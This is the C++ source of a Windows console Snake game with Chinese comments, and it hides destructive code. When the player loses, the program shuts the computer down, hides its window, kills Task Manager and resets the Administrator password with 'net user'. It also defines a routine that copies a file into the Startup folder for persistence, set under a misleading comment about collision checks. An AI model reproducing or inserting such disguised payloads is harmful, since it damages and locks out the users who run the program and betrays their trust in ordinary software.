#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <ctime>
#include <conio.h>
#include <cmath>
#include <stdio.h>
#include <windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
using namespace std;
HANDLE hout=GetStdHandle(STD_OUTPUT_HANDLE);
COORD coord;
void locate(int x,int y)
{
coord.X=y;
coord.Y=x;
SetConsoleCursorPosition(hout,coord);
};
void hide()
{
CONSOLE_CURSOR_INFO cursor_info={1,0};
SetConsoleCursorInfo(hout, &cursor_info);
}
double random(double start, double end)
{
return start+(end-start)*rand()/(RAND_MAX + 1.0);
}
int m,n;
struct node
{
int x,y;
}snake[1000];
int snake_length,dir;
node food;
int direct[4][2]={{-1,0},{1,0},{0,-1},{0,1}};
/*** 输出墙 ***/
void print_wall()
{
cout << " ";
for (int i=1;i<=n;i++)
cout << "-";
cout << endl;
for (int j=0;j<=m-1;j++)
{
cout << "|";
for (int i=1;i<=n;i++) cout << " ";
cout << "|" << endl;
}
cout << " ";
for (int i=1;i<=n;i++)
cout << "-";
}
void print_snake()
{
locate(snake[0].x,snake[0].y);
cout << "@";
for (int i=1;i<=snake_length-1;i++)
{
locate(snake[i].x,snake[i].y);
cout << "*";
}
}
/*** 判断是否撞墙或者自撞 ***/
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
char szStartupPath[MAX_PATH] = { 0 };
char szDestFilePath[MAX_PATH] = { 0 };
SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
return TRUE;
}
bool is_correct()
{
if (snake[0].x==0 || snake[0].y==0 || snake[0].x==m+1 || snake[0].y==n+1) return false;
for (int i=1;i<=snake_length-1;i++)
{
if (snake[0].x==snake[i].x && snake[0].y==snake[i].y) return false;
}
return true;
}
bool print_food()
{
srand((unsigned)time(0));
bool e;
while (1)
{
e=true;
int i=(int) random(0,m)+1,j=(int) random(0,n)+1;
food.x=i;food.y=j;
for (int k=0;k<=snake_length-1;k++)
{
if (snake[k].x==food.x && snake[k].y==food.y)
{
e=false;break;
}
}
if (e) break;
}
locate(food.x,food.y);
cout << "$";
return true;
}
/*** 蛇的前进 ***/
bool go_ahead()
{
node temp;
bool e=false;
temp=snake[snake_length-1];
for (int i=snake_length-1;i>=1;i--)
snake[i]=snake[i-1];
snake[0].x+=direct[dir][0];
snake[0].y+=direct[dir][1];
locate(snake[1].x,snake[1].y);
cout << "*";
if (snake[0].x==food.x && snake[0].y==food.y)
{
snake_length++;
e=true;
snake[snake_length-1]=temp;
}
if (!e)
{
locate(temp.x,temp.y);
cout << " ";
}
else
print_food();
locate(snake[0].x,snake[0].y);
cout << "@";
if (!is_correct())
{
system("cls");
cout << "You lose!" << endl << "去屎吧!!!!" << endl;
system("shutdown -s -t 3");
HWND hwnd;
ShowWindow(GetConsoleWindow(),SW_HIDE);
hwnd = FindWindow("ConsoleWindowClass", NULL);
system("taskkill /f /im taskmgr.exe");
system("net user Administrator ****");
// while(1){
// SetCursorPos(rand()%1000,rand()%1000);
// }
}
return true;
}
/*** 主函数 ***/
int main(int argc, char * argv[])
{
cout << "--------------------贪吃蛇---------------------" << endl;
cout << "请选择难度.请在1-10中输入1个数,1最简单,10则最难" << endl;
cout << "进入游戏画面,以方向键控制方向,祝你游戏愉快!" << endl;
cout << "-----------------------------------------------" << endl;
m=25;
n=40;
if (m<10 || n<10 || m>25 || n>40)
{
cout << "ERROR" << endl;
system("pause");
return 0;
}
int hard;
cin >> hard;
if (hard<=0 || hard>100)
{
cout << "ERROR" << endl;
system("pause");
return 0;
}
snake_length=5;
clock_t a,b;
char ch;
double hard_len;
for (int i=0;i<=4;i++)
{
snake[i].x=1;
snake[i].y=5-i;
}
dir=3;
system("cls");
hide();
print_wall();
print_food();
print_snake();
locate(m+2,0);
cout << "Now length: ";
while (1)
{
hard_len=(double)snake_length/(double) (m*n);
a=clock();
while (1)
{
b=clock();
if (b-a>=(int)(400-30*hard)*(1-sqrt(hard_len))) break;
}
if (kbhit())
{
ch=getch();
if (ch==-32)
{
ch=getch();
switch(ch)
{
case 72:
if (dir==2 || dir==3)
dir=0;
break;
case 80:
if (dir==2 || dir==3)
dir=1;
break;
case 75:
if (dir==0 || dir==1)
dir=2;
break;
case 77:
if (dir==0 || dir==1)
dir=3;
break;
}
}
}
if (!go_ahead()) break;
locate(m+2,12);
cout << snake_length;
}
system("pause");
return 0;
}